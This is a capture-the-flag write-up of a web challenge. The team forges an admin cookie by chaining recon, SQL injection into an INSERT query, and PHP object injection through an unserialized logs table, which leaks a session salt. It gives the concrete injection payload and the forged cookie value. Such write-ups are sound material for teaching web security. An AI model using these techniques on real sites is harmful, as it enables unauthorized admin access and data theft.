The task gave us a website:

There wasn’t anything interesting really so we started to do some recon and found the /robots.txt file. It pointed us to another page which is /SecretAdminPanel. There we found a forbidden message. Also, the page created a cookie PHPSESS which is {“isAdmin”:false}0afb5cf5c7d66587da7c811767250458. We started fuzzing around and suddenly an SQLite error appeared with** /?qwe='**

Apparently it was weird but then we figured out we were injecting in an INSERT query. To dump the database we used an error-based injection => but apart from logs table nothing really useful showed up. Then we found this page /logs

Here we found all our requests where the params’s content from the logs table gets unserialized. Since we can control this value we can userialize what we want. To get more information about this page we tryed to unserialize the Exception class:";}'),('','O:9:"Exception":0:{}');--

And this lead us to something interesting:

string(57) "/var/www/web2/application/controllers/controller_logs.php"
string(8) "generate"
string(4) "View"
string(2) "->"
array(4) {
&string(13) "logs_view.php"
&string(17) "template_view.php"
object(Session)#3 (2) {
string(20) "nO97M0Za6cu9wDC72VVv"
array(1) {

looks like that salt is the one used to encrypt the cookie right? So we tryed to submit something like: md5('{“isAdmin”:true}nO97M0Za6cu9wDC72VVv')=%7B%22isAdmin%22%3Atrue%7D59218ddbff65da5eb025f5ee88260c9e

and get back to /SecretAdminPanel and grab our flag: {417a4c17bd3132bba864dac9edf4ae7a}